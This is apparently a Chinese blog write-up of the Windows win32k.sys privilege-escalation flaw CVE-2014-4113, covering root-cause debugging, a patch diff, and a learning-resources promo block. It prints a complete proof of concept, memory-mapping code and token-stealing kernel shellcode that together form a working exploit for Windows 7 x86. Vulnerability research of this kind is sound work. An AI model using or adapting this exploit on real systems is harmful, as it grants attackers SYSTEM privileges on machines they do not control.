漏洞介绍
漏洞程序
Microsoft Windows 是美国微软(Microsoft)公司发布的一系列操作系统。win32k.sys 是 Windows 子系统的内核部分,是一个内核模式设备驱动程序,它包含有窗口管理器、后台控制窗口和屏幕输出管理等。
如果 Windows 内核模式驱动程序不正确地处理内存中的对象,则存在一个特权提升漏洞。成功利用此漏洞的攻击者可以运行内核模式中的任意代码。攻击者随后可安装程序;查看、更改或删除数据;或者创建拥有完全管理权限的新帐户。
漏洞原理
该漏洞发生的位置是在驱动文件 Win32k.sys 中的 xxxHandleMenuMessage 函数中,销毁弹出菜单的时候通过钩子的方法修改返回值,将返回值修改为 fffffffb,因为对这个值没有严格的检查从而在 sendmessage 中再次被引用到,从而造成了 UAF,这个方法可以在 sendmessage 中跳转到 shellcode 从而提权
实验环境
虚拟机:Windows 7 x86 sp1
物理机:Windows 10 x64 21H2
用到的工具:IDA,Windbg,VS2022
漏洞分析
以网上随便找的 poc 为突破口,开始分析漏洞,在虚拟机里运行 poc,windbg 接管异常,说明漏洞实际存在(默认安装的 Windows7x86sp1)
查看调用堆栈:
kd> kb
ChildEBP RetAddr Args to Child
00 af0bfa64 9d5b95c5 fffffffb 000001ed 0024fcd4 win32k!xxxSendMessageTimeout+0xb3
01 af0bfa8c 9d6392fb fffffffb 000001ed 0024fcd4 win32k!xxxSendMessage+0x28
02 af0bfaec 9d638c1f af0bfb0c 00000000 0024fcd4 win32k!xxxHandleMenuMessages+0x582
03 af0bfb38 9d63f8f1 fd665208 9d71f580 00000000 win32k!xxxMNLoop+0x2c6
04 af0bfba0 9d63f9dc 0000001c 00000002 00000000 win32k!xxxTrackPopupMenuEx+0x5cd
05 af0bfc14 83e441ea 00010211 00000002 00000000 win32k!NtUserTrackPopupMenuEx+0xc3
06 af0bfc14 77a670b4 (T) 00010211 00000002 00000000 nt!KiFastCallEntry+0x12a
07 0024fce8 762a483e (T) 76292243 00010211 00000002 ntdll!KiFastSystemCallRet
复制代码
查看一下当前异常的地方:
kd> u
win32k!xxxSendMessageTimeout+0xb3:
9d5b93fa 3b7e08 cmp edi,dword ptr [esi+8]
9d5b93fd 0f8484000000 je win32k!xxxSendMessageTimeout+0x140 (9d5b9487)
9d5b9403 8b0e mov ecx,dword ptr [esi]
9d5b9405 8b15e4d1719d mov edx,dword ptr [win32k!gSharedInfo+0x4 (9d71d1e4)]
9d5b940b 81e1ffff0000 and ecx,0FFFFh
9d5b9411 0faf0de8d1719d imul ecx,dword ptr [win32k!gSharedInfo+0x8 (9d71d1e8)]
9d5b9418 33c0 xor eax,eax
9d5b941a f644110901 test byte ptr [ecx+edx+9],1
复制代码
是 esi 的值导致了漏洞,查看 esi 的值:
在调用链中,由用户层的 TrackPopupMenu 函数触发漏洞,而这个函数的功能是在屏幕指定位置显示快捷菜单并且跟踪选择的菜单项
这里头会调用 xxxMNLoop,这个函数里有 while(1)循环,应该是消息循环,处理消息的函数貌似正是 xxxHandleMenuMessages
据查阅资料,TrackPopupMenu 显示菜单之后,消息循环就由菜单接管了,此时进入的是 PopupMenu 的消息循环
【一一帮助安全学习,所有资源获取处一一】
①网络安全学习路线
②20 份渗透测试电子书
③安全攻防 357 页笔记
④50 份安全攻防面试指南
⑤安全红队渗透工具包
⑥网络安全必备书籍
⑦100 个漏洞实战案例
⑧安全大厂内部视频资源
分析 xxxHandleMenuMessages
这里面开始经过一堆判断之后,会通过 xxxMNFindWindowFromPoint 获取一个窗口句柄,用于后续的 xxxSendMessage 函数使用
这个分支的大概内容是,从鼠标位置获取下一层的菜单项,获取到了就发送 ButtonDown(0x1ED)消息,也就是说,执行到这个分支实际上是点击事件!
而这里对于xxxMNFindWindowFromPoint
返回的句柄值的处理则是,如果不是-1,就发送 0x1ED 消息
分析 xxxMNFindWindowFromPoint
异常发生在了xxxSendMessage
里的,是由于第一个参数传入的有问题导致的,而第一个参数来自xxxMNFindWindowFromPoint
的返回值,该函数如下图所示
可以看到这个函数的开头:这里首先判断了当前菜单是否存在下级菜单,条件是ppopupmenu->spwndNextPopup
有值,这里的 ppopupmenu 是传入的参数,是 PPOPUPMENU 结构体(参考资料[14])
其中spwndNextPopup
成员的值含义是:下一层 Popup 菜单,是 WND 结构,所以需要创建两个 popup 菜单,其中一个作为另一个的下层
struct tagWND *spwndNextPopup;
/* The next popup in the hierarchy. Null if the last
* in chain
*/
复制代码
这里发送了消息0x1EB,MN_FINDMENUWINDOWFROMPOINT
消息,根据名字猜测功能就是根据位置找菜单窗口,发送的目标是 popup 菜单的下一层菜单,返回值应该就是菜单句柄了
这里对返回值会调用 IsMFMWFPWindow 函数进行处理:如果是非空,且不为-5 或-1,就返回 1
BOOL __stdcall IsMFMWFPWindow(int a1)
{
return a1 && a1 != -5 && a1 != -1;
}
复制代码
若这里返回了 1,就会进入 if 语句导致该变量被重新赋值,也就是说,这里如果要跳过这个 if 语句,返回值就必须是-1 或-5,而在前面看到,如果返回值是-1,则不会进入到触发漏洞的 SendMessage 中,所以这里的返回值在为-5 的时候,会触发漏洞
分析 xxxSendMessage
int __stdcall xxxSendMessage(PVOID P, CHAR pszMultiByteString, WCHAR WideCharString, void *Src)
{
InterlockedIncrement(&glSendMessage);
return xxxSendMessageTimeout(P, pszMultiByteString, WideCharString, Src, 0, 0, 0, (PVOID)1);
}
复制代码
这个函数把传入的参数又接着传入了xxxSendMessageTimeout
函数
分析 xxxSendMessageTimeout
程序异常点在 esi 的值上,esi=-5 被传入了进来,然后进行取值触发地址访问异常
这个函数首先把这个值保存到了 esi
接着往下有一个比较跳转:会从 esi+8 的地址取值
再往下还有两个要 esi 的地方:
Poc 编写
如果能控制 0x1EB 消息的返回值为-5,那么就能走到 xxxSendMessageTimeout 中,让程序异常触发漏洞,实现 poc
参考资料得知,这里的调用 SendMessage 存在两种调用形式,同步和异步,在异步调用的情况下,会从内核态进入用户态去执行用户钩子,执行完再切换回内核态返回:因此,可以 Hook 0x1EB 消息
Poc 如下:
include
nclude
LRESULT CALLBACK DialogFun(HWND hWnd, UINT uMsg, WPARAM wParam, LPARAM lParam)
{
// 手动触发按下事件
if (uMsg == WM_ENTERIDLE) {
PostMessageA(hWnd, WM_KEYDOWN, VK_DOWN, 0);
PostMessageA(hWnd, WM_KEYDOWN, VK_RIGHT, 0);
PostMessageA(hWnd, WM_LBUTTONDOWN, 0, 0);
}
return DefWindowProc(hWnd, uMsg, wParam, lParam);
}
LRESULT CALLBACK NewDialogFun(HWND hWnd, UINT uMsg, WPARAM wParam, LPARAM lParam)
{
// 触发漏洞,返回-5
if (uMsg == 0x1eb) {
return -5;
}
return DefWindowProc(hWnd, uMsg, wParam, lParam);
}
LRESULT CALLBACK HookCallback(int code, WPARAM wParam, LPARAM lParam)
{
CWPSTRUCT* ptag = (CWPSTRUCT*)lParam;
if (ptag->message == 0x1eb)
{
// 这里至关重要:需要解除Hook
if (UnhookWindowsHook(WH_CALLWNDPROC, HookCallback)) {
SetWindowLongA(ptag->hwnd, GWLP_WNDPROC, (LONG)NewDialogFun);
}
}
return CallNextHookEx(0, code, wParam, lParam);
}
int main()
{
// 注册窗口类
WNDCLASSA wnd = { 0 };
wnd.hInstance = ::GetModuleHandle(NULL);
wnd.lpfnWndProc = DialogFun;
wnd.lpszClassName = "CVE-2014-4113";
RegisterClassA(&wnd);
// 创建窗口
HWND hwnd = ::CreateWindowA(
wnd.lpszClassName, "CVE-2014-4113", WS_OVERLAPPEDWINDOW, 0, 0, 800, 600, NULL, NULL, wnd.hInstance, NULL);
// 创建Pop-up菜单
// 需要两个菜单,一个作为子菜单存在
HMENU menu1 = CreatePopupMenu(); // 主菜单
HMENU menu2 = CreatePopupMenu(); // 子菜单
::AppendMenuA(menu2, MF_STRING, 0, "world");
::AppendMenuA(menu1, MF_STRING | MF_POPUP, (UINT_PTR)menu2, "hello"); //给它一个spwndNextPopup 指针
// 设置Hook
::SetWindowsHookExA(WH_CALLWNDPROC, HookCallback, NULL, GetCurrentThreadId());
// 触发漏洞
BOOL ret = TrackPopupMenu(menu1, TPM_RIGHTBUTTON, 0, 0, 0, hwnd, 0);
return 0;
}
复制代码
这里踩了个坑!!设置完钩子在里头记得要解除钩子!!!
漏洞利用
在 Poc 的基础上,如果能控制 0x3,0x11,0x5B 这几个地址的值,就能进行漏洞的利用
布置内存
DWORD GetPtiCurrent() {
__asm
{
mov eax, fs: [0x18]
mov eax, [eax + 0x40]
}
}
BOOL initMem() {
// 初始化一些要用到的内存
HMODULE hNtdll = GetModuleHandleA("ntdll.dll");
typedef NTSTATUS(WINAPI* PNtAllocateVirtualMemory)(
HANDLE ProcessHandle,
PVOID* BaseAddress,
ULONG ZeroBits,
PULONG AllocationSize,
ULONG AllocationType,
ULONG Protect
);
PNtAllocateVirtualMemory NtAllocateVirtualMemory = (PNtAllocateVirtualMemory)GetProcAddress(hNtdll, "NtAllocateVirtualMemory");
// 申请内存
ULONG base = -5;
ULONG size = 0x1000;
NTSTATUS ntstatus = NtAllocateVirtualMemory(GetModuleHandle(NULL), (PVOID*)&base, 0, &size, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
if (ntstatus != 0) {
FreeLibrary(hNtdll);
return FALSE;
}
*(DWORD*)0x3 = GetPtiCurrent();
*(BYTE*)0x11 = (BYTE)4;
*(DWORD*)0x5B = (DWORD)ShellCode;
return TRUE;
}
复制代码
Shellcode
int __stdcall ShellCode(int parameter1, int parameter2, int parameter3, int parameter4)
{
_asm
{
pushad
mov eax, fs: [124h] // Find the _KTHREAD structure for the current thread
mov eax, [eax + 0x50] // Find the _EPROCESS structure
mov ecx, eax
mov edx, 4 // edx = system PID(4)
// The loop is to get the _EPROCESS of the system
find_sys_pid :
mov eax, [eax + 0xb8] // Find the process activity list
sub eax, 0xb8 // List traversal
cmp[eax + 0xb4], edx // Determine whether it is SYSTEM based on PID
jnz find_sys_pid
// Replace the Token
mov edx, [eax + 0xf8]
mov[ecx + 0xf8], edx
popad
}
return 0;
}
4113/CVE-2014-4113.cpp
复制代码
利用截图
补丁 diff
漏洞触发点(0x1ED 消息)处的函数对比
可以看到,左边检查 ebx 参数是检查是否是-1,不是-1 则发送消息
右边的检查则多了一个过程,调用了 IsMFMWFPWindow 函数进行再次检查:
BOOL __stdcall IsMFMWFPWindow(int a1)
{
return a1 && a1 != -5 && a1 != -1;
}
复制代码
这下子直接杜绝了把-5 当作参数传入 SendMessage 函数的情况,从而修补了漏洞
评论